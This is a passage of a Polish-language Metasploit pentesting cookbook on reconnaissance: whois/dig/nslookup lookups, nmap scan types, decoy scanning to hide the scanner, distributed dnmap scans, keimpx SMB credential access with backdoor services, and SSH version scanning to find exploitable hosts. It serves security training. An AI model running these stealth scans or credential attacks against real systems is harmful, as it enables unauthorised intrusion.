oraz serwerów WWW. Analizy te obejmują rozpoznanie serwera WWW i systemu operacyjnego. W zależności od systemu operacyjnego badanego serwera serwis czasami jest w stanie monitorować czas działania maszyny w celu ustalenia wiarygodności dostawcy usług hostingowych stron WWW. Netcraft umożliwia również testowanie zabezpieczeń i zapewnia darmowy antyphishingowy pasek narzędzi dla przeglądarek Firefox oraz Internet Explorer. Od wersji 9.5 przeglądarki Opera jej wbudowany filtr antyphishingowy używa tych samych danych co pasek narzędzi Netcrafta, eliminując konieczność instalowania
43
Metasploit. Receptury pentestera
dwóch osobnych pasków narzędzi. Badania zlecone przez firmę Microsoft wykazały, że pasek narzędzi Netcrafta jest jednym z najbardziej efektywnych narzędzi w zwalczaniu wyłudzania danych w internecie. W tym rozdziale przeanalizujemy szczegółowo rozmaite pasywne i aktywne techniki zbierania informacji. Na początku zajmiemy się analizą najczęściej używanych i najczęściej zaniedbywanych technik pasywnego zbierania informacji, a następnie w kolejnych recepturach skupimy się na pozyskiwaniu informacji za pomocą skanowania portów. Framework Metasploit posiada kilka wbudowanych funkcji skanowania oraz zintegrowane narzędzia zewnętrzne, umożliwiające dalsze usprawnienie procesu skanowania portów. Będziemy analizować zarówno wbudowane skanery, jak i popularne skanery zewnętrzne, które współpracują z frameworkiem Metasploit. Przejdźmy do receptur i rozpocznijmy proces pozyskiwania informacji o naszym celu.
Pasywne zbieranie informacji Zajmijmy się teraz niektórymi z najbardziej popularnych technik używanych do zbierania informacji.
Przygotuj się Zastosowanie narzędzi whois, dig oraz nslookup to trzy najbardziej podstawowe i najprostsze etapy pozyskiwania wstępnej informacji o celu. Ponieważ wszystkie te narzędzia są pasywnymi technikami pozyskiwania informacji, nie jest wymagane połączenie z obiektem docelowym. Te polecenia mogą być wykonane bezpośrednio z konsoli terminala systemu BackTrack. Uruchom więc okno terminala i przejdźmy dalej.
Jak to wykonać Zbieranie informacji rozpoczniemy, wykorzystując proste wyszukiwanie whois. Narzędzie whois jest wbudowanym poleceniem w systemie BackTrack, więc możesz bezpośrednio wywołać je z terminala. Przeprowadźmy szybko wyszukiwanie whois dla strony http://www.packtpub.com i przeanalizujmy dane wyjściowe. Dane wynikowe mogą być obszerne, więc skupimy się tylko na istotnych elementach: root@bt:~# whois www.packtpub.com Domain Name: PACKTPUB.COM Registrar: EASYDNS TECHNOLOGIES, INC. Whois Server: whois.easydns.com Referral URL: http://www.easydns.com Name Server: NS1.EASYDNS.COM
44
Rozdział 2. • Zbieranie informacji oraz skanowanie
Name Server: NS2.EASYDNS.COM Name Server: NS3.EASYDNS.ORG Name Server: NS6.EASYDNS.NET Name Server: REMOTE1.EASYDNS.COM Name Server: REMOTE2.EASYDNS.COM Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 09-feb-2011 Creation Date: 09-may-2003 Expiration Date: 09-may-2016
Jak możesz zauważyć, proste wyszukiwanie whois ujawniło pewne informacje na temat strony docelowej. Są to m.in. nazwa serwera DNS, data utworzenia, data ważności itd. Ponieważ te informacje zostały zebrane z innego źródła niż docelowy obiekt, taka technika nazywana jest pasywnym zbieraniem informacji. Innym sposobem pasywnego pozyskiwania informacji jest kwerendowanie rekordów DNS. W tym celu najczęściej używa się polecenia dig, które jest instalowane domyślnie w urządzeniach z systemem Unix. Przeanalizujmy zapytanie dig dla strony http://www.packtpub.com: root@bt:~# dig www.packtpub.com ; <<>> DiG 9.7.0-P1 <<>> www.packtpub.com ;; global options: +cmd;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1583 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIONAL: 1 ;; QUESTION SECTION: ;www.packtpub.com. IN A ;; ANSWER SECTION: www.packtpub.com. 1200 IN CNAME packtpub.com. packtpub.com. 1200 IN A 83.166.169.228 ;; AUTHORITY SECTION:packtpub.com. 1200 IN NS remote1. easydns.com. packtpub.com. 1200 IN NS ns2.easydns.com. packtpub.com. 1200 IN NS ns6.easydns.net. packtpub.com. 1200 IN NS ns3.easydns.org. packtpub.com. 1200 IN NS ns1.easydns.com. packtpub.com. 1200 IN NS remote2.easydns.com. ;; ADDITIONAL SECTION: ns3.easydns.org. 5951 IN A 64.68.192.10.
Kwerendowanie rekordów DNS ujawniło pewne informacje o celu. Polecenie dig można wykorzystać do rozwiązania nazw hostów na adresy IP lub rozwiązania adresów IP na nazwy hostów. Ponadto polecenie dig może być użyte do zebrania informacji o wersji z nazw serwerów, co może być pomocne w eksploatacji hosta. Jak możesz zauważyć w danych wyjściowych, trudno jest zidentyfikować podstawowy serwer DNS lub w innych przypadkach podstawowy serwer pocztowy czy serwer hostingowy itd. W tym momencie na scenie pojawia się narzędzie nslookup. Polecenie nslookup jest prawie tak samo elastyczne jak dig, ale zapewnia łatwiejszą domyślną metodę identyfikowania hostów podstawowych, takich jak serwery pocztowe oraz DNS:
45
Metasploit. Receptury pentestera
root@bt:~# nslookup www.packtpub.com Server: 220.226.6.104 Address: 220.226.6.104#53 Non-authoritative answer: www.packtpub.com canonical name = packtpub.com. Name: packtpub.com Address: 83.166.169.228
Polecenie nslookup ujawniło kolejne informacje o celu, takie jak adres IP, adres IP serwera itd. Te pasywne techniki mogą dostarczyć pewnych interesujących informacji o celu i ułatwić przeprowadzanie testów penetracyjnych.
Jak to działa Polecenie dig może być użyte do odnalezienia rekordów SPF (ang. Sender Policy Framework). Rekordy SPF definiują dla danej domeny reguły wysyłania poczty. Reguły te określają, które serwery są odpowiedzialne za wysyłanie poczty w imieniu danej domeny. Nieprawidłowe rekordy SPF będą zawsze skutkowały otrzymywaniem poczty phishingowej lub spamowej. Rekordy SPF są publikowane w formacie tekstowym. Są odpowiedzialne za zapewnienie, że zarejestrowani użytkownicy konkretnej domeny lub partnerzy danej domeny nie będą atakowani za pomocą wiadomości phishingowych. Informacje zebrane za pomocą zapytań dig mogą pomóc w określeniu takich problemów w obiekcie docelowym.
Zobacz również Omówmy więcej spraw związanych z pasywnym zbieraniem informacji.
Używanie narzędzi z innych stron WWW Używaliśmy dotąd wbudowanych komend, aby wysyłać zapytania o cel i uzyskiwać informacje. Istnieje równie dobra technika przeprowadzania podobnych operacji przy użyciu stron WWW dedykowanych do takich wyszukiwań. Te strony WWW mogą również dostarczać informacje o położeniu geograficznym, numerach telefonów, adresach e-mail administratorów itd. Niektóre przydatne linki: http://who.is http://www.kloth.net
46
Rozdział 2. • Zbieranie informacji oraz skanowanie
Skanowanie portów za pomocą narzędzia Nmap Skanowanie portów jest techniką aktywnego zbierania informacji, przy której rozpoczniemy teraz bezpośredni kontakt z celem. Ta technika jest interesującym procesem zbierania informacji. Polega ona na głębszym przeszukiwaniu maszyny docelowej. Narzędzie nmap jest najbardziej wszechstronnym i najczęściej wybieranym skanerem wśród specjalistów w zakresie bezpieczeństwa. Poziom korzystania z narzędzia nmap waha się od początkującego do zaawansowanego. Zajmiemy się teraz bardziej szczegółowo analizą rozmaitych technik skanowania.
Przygotuj się Pobierz plik instalacyjny z oficjalnej strony Metasploit (http://www.metasploit.com/download). Ponownie będziesz miał możliwość wyboru instalacji minimalnej albo pełnej. Wybierz swoją wersję w zależności od potrzeb. Pełna instalacja będzie zawierała wszystkie zależności, konfigurację baz danych i środowiska programistycznego, podczas gdy instalacja minimalna będzie zawierać tylko zależności bez konfiguracji baz danych.
Jak to wykonać Uruchomienie narzędzia nmap z Metasploit jest łatwe. Uruchom konsolę msfconsole i wpisz polecenie nmap, aby wyświetlić listę opcji skanowania oferowanych przez to narzędzie: msf > nmap
Skanowanie połączenia TCP [-sT] jest najbardziej podstawowym i domyślnym rodzajem skanowania dostępnym w narzędziu nmap. Śledzi procedurę nawiązania połączenia typu threeway handshake, aby wykryć otwarte porty w maszynie docelowej. Przeskanujmy w ten sposób nasz cel: msf > nmap -sT -p1-10000 192.168.56.102 [*] exec: nmap -sT -p1-10000 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:03 IST Nmap scan report for 192.168.56.102 Host is up (0.0058s latency). Not shown: 9997 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:34:A8:87
47
Metasploit. Receptury pentestera
Jak możesz zauważyć, podaliśmy parametr –sT, który wskazuje, że chcemy przeprowadzić skanowanie TCP. Parametr –p określa zakres numerów portów, które chcesz przeskanować. Skanowanie połączenia TCP opiera się na procedurze three-way handshake, dlatego wyniki tego skanowania są uważane za wiarygodne. Skanowanie SYN [-sS] jest uważane za technikę skrytego skanowania (ang. stealth scanning), ponieważ nie tworzy nigdy pełnego połączenia między celem a skanerem. Dlatego też często jest określane jako skanowanie półotwarte. Przeanalizujmy skanowanie SYN przeprowadzone na naszym celu: msf > nmap -sS 192.168.56.102 [*] exec: nmap -sS 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:17 IST Nmap scan report for 192.168.56.102 Host is up (0.0019s latency). Not shown: 997 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:34:A8:87
Parametr –sS instruuje narzędzie nmap, aby przeprowadzić skanowanie SYN na maszynie docelowej. Rezultaty skanowania połączenia TCP i skanowania SYN są w większości przypadków podobne, a jedyna różnica polega na tym, że skanowanie SYN jest trudne do wykrycia przez firewalle i systemy detekcji włamań (ang. Intrusion Detection Systems — IDS). Jednak współczesne firewalle są w stanie przechwycić również skanowanie SYN. Skanowanie UDP [-sU] jest techniką skanowania polegającą na identyfikacji otwartych portów UDP w celu. Pakiety 0-bajtowe UDP są wysyłane do maszyny docelowej, a odbiorca wiadomości o nieosiągalności portu ICMP informuje, że port jest zamknięty. W przeciwnym razie jest on uważany za otwarty. Skanowanie UDP może być stosowane w następujący sposób: msf > nmap –sU –p9001 192.168.56.102
Powyższe polecenie sprawdza, czy port UDP dla adresu 192.168.56.102 jest otwarty, czy nie. W podobny sposób możesz przeprowadzić skanowanie UDP na pełnym zakresie portów poprzez modyfikację operatora -p. Skanowanie ACK [-sA] jest skanowaniem specjalnego typu. Określa, które porty są filtrowane przez firewall, a które nie są. Skanowanie to działa na zasadzie wysyłania ramek ACK TCP do zdalnego portu. Jeśli nie ma odpowiedzi, wtedy port nie jest uznawany za filtrowany. Jeśli cel zwraca pakiet RST (resetuj połączenie), wtedy port jest uznawany za niefiltrowany:
48
Rozdział 2. • Zbieranie informacji oraz skanowanie
msf > nmap -sA 192.168.56.102 [*] exec: nmap -sA 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:19 IST Nmap scan report for 192.168.56.102 Host is up (0.0011s latency). Not shown: 999 filtered ports PORT STATE SERVICE 9001/tcp unfiltered tor-orport MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
Jak to działa Przeanalizowaliśmy cztery rodzaje skanowania dostępne w narzędziu nmap, które mogą być bardzo pomocne podczas testów penetracyjnych. Narzędzie nmap dostarcza dużo różnych trybów skanowania maszyny docelowej. Tutaj skoncentrujemy się na czterech typach: skanowaniu połączeń TCP, skrytym skanowaniu SYN, skanowaniu UDP oraz skanowaniu ACK. Różne opcje skanowania narzędziem nmap mogą również być łączone w pojedynczym zadaniu w celu przeprowadzenia bardziej zaawansowanego i wyrafinowanego skanowania maszyny docelowej. Przejdźmy dalej i rozpocznijmy proces skanowania. Poprzedni listing przedstawia rezultat skanowania ACK przeprowadzonego na celu. Dane wynikowe pokazują, że wszystkie porty celu są filtrowane, za wyjątkiem portu numer 9001, który jest niefiltrowany. To pomoże w znalezieniu słabych punktów celu, ponieważ atakowanie niefiltrowanych portów ma lepszy wskaźnik skuteczności eksploatowania celu. Zasadniczo pentesterzy nie koncentrują się zbytnio na procesie skanowania, ale dobre skanowanie może dostarczyć wielu pożytecznych wyników. Ponieważ informacje zebrane tutaj będą tworzyć podstawę testu penetracyjnego, posiadanie odpowiedniej wiedzy na temat typów skanowania jest wysoce zalecane. Przyjrzyjmy się teraz bliżej każdemu z typów technik skanowania, które właśnie poznaliśmy. Skanowanie połączenia TCP jest najbardziej podstawową techniką skanowania, w której ustanawiane jest pełne połączenie z testowanym portem. Do nawiązania połączenia wykorzystywane są funkcje sieciowe systemu operacyjnego. Skaner wysyła pakiet SYN do maszyny docelowej. Jeśli port jest otwarty, maszyna docelowa zwraca do skanera komunikat ACK. Skaner wtedy wysyła pakiet ACK z powrotem do celu, co wskazuje pomyślne ustanowienie połączenia. Nazywa się to procedurą nawiązania połączenia three-way handshake. Połączenie zostaje zakończone tak szybko, jak zostało otwarte. Ta technika ma swoje zalety, ale jest łatwo wykrywalna przez firewalle i systemy IDS.
49
Metasploit. Receptury pentestera
Skanowanie SYN jest kolejnym rodzajem skanowania TCP, ale nigdy nie tworzy pełnego połączenia z celem. Nie używa funkcji sieciowych systemu operacyjnego. Zamiast tego generuje nieprzetworzone pakiety IP i monitoruje odpowiedzi. Jeśli port jest otwarty, cel odpowie za pomocą komunikatu ACK. Skaner następnie wysyła komunikat RST (resetuj połączenie) i kończy połączenie. Dlatego to skanowanie jest nazywane również skanowaniem półotwartym. Jest uważane za skrytą technikę skanowania, ponieważ może zapobiegać podnoszeniu alarmu na niektórych źle skonfigurowanych firewallach i systemach IDS. Skanowanie UDP jest bezpołączeniową techniką skanowania. Dlatego do skanera nie jest wysyłana żadna informacja zwrotna, bez względu na to, czy pakiet został odebrany przez cel, czy nie. Jeśli port jest zamknięty, wtedy wiadomość o nieosiągalności portu ICMP jest wysyłana z powrotem do skanera. Jeśli żadna wiadomość nie zostanie odebrana, wtedy port jest zaznaczany jako otwarty. Ta metoda może przynieść fałszywe wyniki, ponieważ firewalle mogą blokować pakiety danych i dlatego będzie generowana wiadomość o braku odpowiedzi, a skaner zaznaczy port jako otwarty. Skanowanie ACK ma na celu jedynie identyfikowanie filtrowanych lub niefiltrowanych portów. Jest to unikatowa i poręczna technika skanowania, która może być pomocna w znalezieniu słabych punktów w systemie docelowym, ponieważ niefiltrowane porty mogą być łatwymi celami. Jednak główną wadą skanowania ACK jest to, że skoro nie łączy się z celem, nie można zidentyfikować otwartych portów. Dane wynikowe skanowania ACK będą jedynie wskazywać, czy dany port jest filtrowany, czy nie. Łączenie skanowania ACK z innego rodzaju skanowaniem może pozwolić na przeprowadzenie bardzo skrytego procesu skanowania.
Zobacz również Zajmijmy się teraz szczegółowo skanowaniem za pomocą narzędzia nmap i zobaczmy, jak można połączyć różne typy skanowania.
Wykrywanie systemu operacyjnego i wersji usług Poza skanowaniem portów narzędzie nmap oferuje również pewne zaawansowane opcje. Mogą one pomóc uzyskać więcej informacji o celu. Jedną z najszerzej stosowanych opcji jest identyfikacja systemu operacyjnego [-O]. Ta opcja może pomóc w zidentyfikowaniu systemu operacyjnego uruchomionego na maszynie docelowej. Dane wynikowe skanowania z opcją wykrywania systemu operacyjnego przedstawiają się następująco: msf > nmap -O 192.168.56.102 [*] exec: nmap -O 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:25 IST Nmap scan report for 192.168.56.102 Host is up (0.0014s latency).
50
Rozdział 2. • Zbieranie informacji oraz skanowanie
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Device type: general purpose Running: Microsoft Windows XP|2003
Jak możesz zobaczyć, narzędzie nmap pomyślnie wykryło system operacyjny maszyny docelowej. To może ułatwić zadanie doboru właściwych exploitów, odpowiednich dla systemu operacyjnego celu. Inną szeroko stosowaną opcją narzędzia nmap jest wykrywanie wersji usług [-sV] uruchomionych na różnych otwartych portach na maszynie docelowej. Może być ona stosowana łącznie z każdym omówionym dotąd rodzajem skanowania, aby dodać kolejną porcję informacji o tym, jaka wersja usług jest uruchomiona na otwartych portach maszyny docelowej: msf > nmap -sT -sV 192.168.56.102 [*] exec: nmap -sV 192.168.56.102 Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:27 IST Nmap scan report for 192.168.56.102 Host is up (0.0011s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Service Info: OS: Windows
Jak widzisz, w danych wynikowych skanowania pojawiła się dodatkowa kolumna, Versions, która zawiera informacje o różnych wersjach usług uruchomionych na maszynie docelowej.
Zwiększanie anonimowości Bardzo istotne jest, aby przeprowadzać skanowanie w sposób anonimowy. Jeśli wykonasz skanowanie bez zastosowania środków bezpieczeństwa, dzienniki firewalli i systemów IDS mogą ujawnić Twój adres IP. Narzędzie nmap dostarcza odpowiednią opcję, nazywaną wabikiem [-D] (ang. decoy). Opcja wabika nie chroni Twojego adresu IP przed możliwością zapisu w pliku dziennika firewalli i systemów IDS, ale sprawia, że wynik skanowania wygląda przerażająco. W plikach dzienników dodawane są strumienie, co sprawia wrażenie, że w tym samym momencie maszyna jest skanowana jednocześnie przez kilka innych osób przeprowadzających ataki. Dlatego jeśli dodasz dwa adresy IP jako wabiki, plik dziennika pokaże, że pakiety z żądaniami zostały wysłane z trzech różnych adresów IP. Jeden będzie Twój, a dwa kolejne będą fałszywymi adresami dodanymi przez Ciebie: msf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21
51
Metasploit. Receptury pentestera
Powyższy przykład skanowania pokazuje zastosowanie parametru wabika. Adresy IP podane po operatorze -D są fałszywymi adresami, które będą również pojawiać się w plikach dziennika maszyny docelowej wraz z prawdziwym adresem IP. Ten proces może zmylić administratorów sieci i stworzyć w ich umysłach podejrzenie, że wszystkie trzy adresy IP są fałszywe czy podrobione. Jednak dodanie zbyt dużej liczby adresów wabikowych może wpłynąć na wyniki skanowania, dlatego należy stosować tylko ich ograniczoną liczbę.
Skanowanie portów za pomocą narzędzia DNmap Narzędzie dnmap zostało stworzone przez Sebastiana Garcię w 2009 r. za pomocą frameworku Twisted Python. Skanowanie narzędziem nmap przy użyciu pojedynczej maszyny będzie zajmować dużo czasu. Z tego względu powstało narzędzie dnmap. Narzędzie dnmap jest frameworkiem opartym na architekturze klient-serwer, co przedstawione zostało na rysunku:
Narzędzie dnmap umożliwia stworzenie rozproszonej sieci skanowania narzędziem nmap przy użyciu standardowej architektury klient-serwer. Choć jest domyślnie dołączone do systemu BackTrack, to można je łatwo zainstalować w dowolnym systemie operacyjnym, który posiada obsługę języka Python.
Przygotuj się Narzędzie dnmap jest już zainstalowane w systemie BackTrack 5 R3. Jeśli chcesz użyć go w innym systemie, możesz pobrać klienta i serwer dnmap z następującej lokalizacji: https://github.com/ cldrn/dnmap.
52
Rozdział 2. • Zbieranie informacji oraz skanowanie
Narzędzie dnmap wymaga zainstalowanego narzędzia nmap, środowiska programistycznego Python 2.7 oraz następujących bibliotek: 1.python-twisted
2. python-openssl
Jak to wykonać Aby uruchomić narzędzie dnmap, wybierz Menu programu uruchamiającego/BackTrack/Information Gathering/Network Analysis/Network Scanners/dnmap server albo zastosuj następujące polecenia: root@bt : #cd /pentest/scanners/dnmap root@bt : /pentest/scanners/dnmap#
Jak wspomniano wcześniej, dnmap jest frameworkiem opartym na architekturze klient-serwer. Serwer wydaje polecenia narzędzia nmap klientowi, a ten je wykonuje. Dzięki temu obciążenie tak obszernego skanowania jest rozproszone na wiele klientów. Polecenia wydawane przez serwer do klientów są dostarczane w pliku poleceń. Wyniki są przechowywane w pliku dziennika, który jest zapisywany zarówno po stronie serwera, jak i klienta. Aby skorzystać z narzędzia dnmap, wykonaj następujące czynności: Najpierw przygotuj listę poleceń, które chcesz uruchomić, a następnie zapisz ją
w pliku o nazwie np. mójplik.txt. Zapisz adres IP serwera. Uruchom serwer dnmap i wskaż plik poleceń jako argument. Połącz klienty z serwerem. Zwróć uwagę, aby serwer był dostępny po stronie klienta.
Otwórz narzędzie dnmap, wybierając Menu programu uruchamiającego/BackTrack/Information Gathering/Network Analysis/Identify Live Hosts/dnmap. Następnie utwórz plik mójplik.txt, w którym zapisane zostaną wyniki skanowania. Cały proces ilustrują następujące etapy: 1. Aby prześledzić całą ścieżkę dostępu do narzędzia dnmap, wprowadź następujące polecenie: root@bt:# cd /pentest/scanners/dnmap root@bt:/pentest/scanners/dnmap#
2. Aby utworzyć plik tekstowy o nazwie np. polecenia.txt zawierający wszystkie polecenia narzędzia nmap, które mają być wykonane, wpisz: nmap -A -Pn -v -p1-1024 192.168.56.103 nmap -A -Pn -v -p1024-10000 192.168.56.103
3. Aby uruchomić serwer dnmap, wprowadź następujące polecenie: root@bt:/pentest/scanners/dnmap# python dnmap_server.py -f ~/polecenia.txt +----------------------------------------------------------------------+ | dnmap_server Version 0.6 | | This program is free software; you can redistribute it and/or modify |
53
Metasploit. Receptury pentestera
| it under the terms of the GNU General Public License as published by | | the Free Software Foundation; either version 2 of the License, or | | (at your option) any later version. | | | | Author: Garcia Sebastian, [email protected] | | www.mateslab.com.ar | +----------------------------------------------------------------------+ =| MET:0:00:30.015147 | Amount of Online clients: 0 |=
4. Teraz przejdźmy do użycia pliku dnmap_client.py. Aby uruchomić klienta dnmap, użyj następującego polecenia: root@bt:/pentest/scanners/dnmap# python dnmap_client.py -h +----------------------------------------------------------------------+ | dnmap_server Version 0.6 | | This program is free software; you can redistribute it and/or modify | | it under the terms of the GNU General Public License as published by | | the Free Software Foundation; either version 2 of the License, or | | (at your option) any later version. | | | | Author: Garcia Sebastian, [email protected] | | www.mateslab.com.ar | +----------------------------------------------------------------------+ usage: dnmap_client.py
5. Teraz musimy tylko wprowadzić adres IP serwera, numer portu oraz nazwę klienta, np. klient1: root@bt:/pentest/scanners/dnmap# python dnmap_client.py -s 192.168.129.138 a klient1 +----------------------------------------------------------------------+ +----------------------------------------------------------------------+ | dnmap_server Version 0.6 | | This program is free software; you can redistribute it and/or modify | | it under the terms of the GNU General Public License as published by | | the Free Software Foundation; either version 2 of the License, or |
54
Rozdział 2. • Zbieranie informacji oraz skanowanie
| (at your option) any later version. | | | | Author: Garcia Sebastian, [email protected] | | www.mateslab.com.ar | +----------------------------------------------------------------------+ Client Started... Nmap output files stored in 'nmap_output' directory... Starting connection... Client connected succesfully... Waiting for more commands.... + No -oA given. We add it anyway so not to lose the results. Added -oA 5807742 Command Executed: nmap -A -Pn -v -p1-1024 192.168.129.138 -oA 5807742 Sending output to the server... Waiting for more commands.... + No -oA given. We add it anyway so not to lose the results. Added -oA 71264162 Command Executed: nmap -A -Pn -v -p1024-10000 192.168.129.138 -oA 71264162 Sending output to the server... Waiting for more commands.... ^Connection lost. Reason: Connection to the other side was lost in a non-clean fashion: Connection lost. Trying to reconnect in 10 secs. Please wait...
6. Jeśli wrócimy teraz do serwera, otrzymamy następujące dane wynikowe: + Client ID connected: 192.168.129.138:49747 (klient1) =| MET:0:00:55.011100 | Amount of Online clients: 1 |= Clients connected ----------------Alias #Commands Last Time Seen (time ago) UpTime Version IsRoot RunCmdXMin AvrCmdXMin Status klient1 1 May 23 18:26:27 ( 0'1") 0h 0m 0.6 True 0.0 0.0 Executing =| MET:0:01:00.015067 | Amount of Online clients: 1 |= Clients connected ----------------Alias #Commands Last Time Seen (time ago) UpTime RunCmdXMin AvrCmdXMin Status klient1 1 May 23 18:26:27 ( 0'6") 0h 0m 0.6 0.0 0.0 Executing
Version IsRoot True
=| MET:0:01:05.014816 | Amount of Online clients: 1 |= Clients connected ----------------Alias #Commands Last Time Seen (time ago) UpTime Version IsRoot RunCmdXMin AvrCmdXMin Status
55
Metasploit. Receptury pentestera
klient1 0.0
1 Sep 12 18:26:27 ( 0'11") 0h 0m 0.0 Executing
0.6
True
=| MET:0:01:10.010916 | Amount of Online clients: 1 |= Clients connected ----------------Alias #Commands Last Time Seen (time ago) UpTime Version IsRoot RunCmdXMin AvrCmdXMin Status klient1 2 Sep 12 18:26:43 ( 0' 0") 0h 0m 0.6 True 3.8 1.9 Executing =| MET:0:01:20.014574 | Amount of Online clients: 1 |= Clients connected ----------------Alias #Commands Last Time Seen (time ago) UpTime Version IsRoot RunCmdXMin AvrCmdXMin Status klient1 2 Sep 12 18:26:43 ( 0'10") 0h 0m 0.6 True 3.8 1.9 Executing =| MET:0:01:30.010685 | Amount of Online clients: 1 |= Clients connected ----------------Alias #Commands Last Time Seen (time ago) UpTime RunCmdXMin AvrCmdXMin Status klient1 2 Sep 12 18:27:00 ( 0' 4") 0h 0m 0.6 3.6 2.5 Online
Version IsRoot True
+ Connection lost for klient1 (192.168.129.138:49747). =| MET:0:01:35.011836 | Amount of Online clients: 0 |= Clients connected Alias #Commands Last Time Seen (time ago) UpTime Version IsRoot RunCmdXMin AvrCmdXMin ^Croot@bt:/pentest/scanners/dnmap# ls dnmap_client.py dnmap_server.py nmap_results README serwer.pem root@bt:/pentest/scanners/dnmap# cd nmap_results/ root@bt:/pentest/scanners/dnmap/nmap_results# ls 5807742.nmap 71264162.nmap
Wszystkie wyniki są następnie zapisywane w folderze nmap_results/.
Skanowanie poświadczeń SMB za pomocą narzędzia keimpx Narzędzie keimpx jest oprogramowaniem typu open source, często stosowanym do sprawdzenia użyteczności poświadczeń w sieci poprzez protokół SMB. Te poświadczenia mogą być jedną z następujących kombinacji:
56
Rozdział 2. • Zbieranie informacji oraz skanowanie
Użytkownik/hasło nieszyfrowane Użytkownik/funkcja haszująca NTLM Użytkownik/token sesji logowania NTLM NTLM jest zestawem protokołów uwierzytelniania i zabezpieczeń sesji stosowanym przez różne implementacje protokołów sieciowych firmy Microsoft oraz obsługiwanym przez protokół NTLMSSP (ang. NTLM Security Support Provider).
Przygotuj się Narzędzie keimpx możesz znaleźć w katalogu /pentest/passwords/keimpx:
Jak to wykonać Aby użyć narzędzia keimpx, stosujemy następującą składnię: ./keimpx.py –t
W tym kontekście używamy nazwy użytkownika monika oraz hasła 123:
57
Metasploit. Receptury pentestera
Jeśli wprowadzisz komendę shares w środowisku narzędzia keimpx, otrzymasz listę następujących opcji: # shares [1] IPC$ (type : 3, comment : Remote IPC) [2]Print$ (type : 0, comment : Printer Drivers) [3] SharedDocs (type : , comment : ) [4] xp (type : , comment : ) [5] Admin$(type : 0, comment : Remote Admin ) [6] C$ (type : 0, comment : Default Share ) Which share do you want to connect to ? (default 1) 4 # ls
Po wykonaniu polecenia ls mamy dostęp do katalogu, do którego możemy pobrać dowolny plik, a następnie zastosować określone polecenia, takie jak make (utwórz) czy remove (usuń, np. katalog), lub dowolną inną funkcję opisaną w następnym punkcie, „Jak to działa”. Zostanie wyświetlona zawartość katalogu, tak jak widać poniżej: Mon Sep 3 15:01:22 2013
Jak to działa Po przeprowadzeniu skanowania poświadczeń SMB użytkownik jest proszony o określenie, z jakim hostem chce się połączyć i jakich poświadczeń chce użyć. Wtedy otrzymujesz dostęp do interaktywnej powłoki SMB, którą możesz wykorzystać do wykonania takich czynności jak:
58
Rozdział 2. • Zbieranie informacji oraz skanowanie
1. Uruchomienie interaktywnego wiersza poleceń. 2. Zdalne poruszanie się pomiędzy udziałami SMB (komenda shares) za pomocą poleceń list, upload, download oraz create. 3. Wdrażanie i usuwanie własnych usług, czyli nasłuchiwanie typu backdoor na portach TCP dla połączeń przychodzących. 4. Wyświetlenie szczegółowych informacji na temat użytkownika, domen itd. Otrzymujesz do dyspozycji opcje takie jak Generic options (opcje ogólne), Shares options (opcje udziałów), Services options (opcje usług), Shell options (opcje powłoki), Users options (opcje użytkowników) oraz Registry options (opcje rejestru) — patrz rysunek:
Skanowanie wersji SSH SSH jest powszechnie stosowanym protokołem, zapewniającym bezpieczne logowanie zdalne. Protokół ten używa silnego szyfrowania, aby zapewnić uwierzytelnianie i poufność. W tej recepturze będziemy wykrywać wersje SSH uruchomione na celu. Za pomocą skanera wersji SSH możemy określić, czy cel wykorzystuje podatną na ataki wersję protokołu SSH, a jeśli tak jest, będziemy mogli przejść dalej.
59
Metasploit. Receptury pentestera
Przygotuj się Wykorzystamy moduł pomocniczy (ang. auxiliary) ssh_version, który jest dostępny we frameworku Metasploit. Uruchommy więc Metasploit, wpisując w oknie terminala komendę msfconsole, aby wyświetlić poniższy wiersz poleceń: msf>
Jak to wykonać Aby przeskanować serwery SSH w sieci, wykonaj następujące polecenia we frameworku Metasploit: Możesz użyć polecenia search, aby odnaleźć moduł ssh_version, jak poniżej: msf > search ssh_version
W tej recepturze będziemy używać modułu auxiliary/scanner/ssh/ssh_version. Aby uzyskać wszystkie informacje dotyczące modułu ssh_version, wpisz komendę info i przyjrzyj się wynikom:
60
Rozdział 2. • Zbieranie informacji oraz skanowanie
Teraz wykonaj poniższe komendy, aby przejść dalej: msf auxiliary (ssh_version) > set RHOSTS 192.168.129.1/24 RHOSTS => 192.168.129.1/24 msf auxiliary (ssh_version) > set THREADS 100 THREADS => 100 msf auxiliary (ssh_version) > run [*] Scanned 101 of 256 hosts (039 % complete) [*]192.168.129.200:22, SSH server version : SSH-2.0.OpeoSSH_5.6 [*] Scanned 158 of 256 hosts (061 % complete) [*]Scanned 176 of 256 hosts (068 % complete) [*]Scanned 202 of 256 hosts (075 % complete) [*]Scanned 158 of 256 hosts (078 % complete) [*]192.168.129.200:22, SSH server version : SSH-2.0.OpeoSSH_53.8.1p1 [*]Scanned 205 of 256 hosts (080 % complete) [*]Scanned 255 of 256 hosts (099 % complete) [*]Scanned 256 of 256 hosts (100 % complete) [*] Auxiliary module execution completed msf auxiliary (ssh_version) >
Jak to działa Podczas skanowania wykryliśmy dwie aktywne wersje ssh we wskazanym zakresie adresów IP. Po wykryciu wersji za pomocą modułu ssh_version, możemy poszukać dla niej odpowiedniego exploita.
61
Metasploit. Receptury pentestera
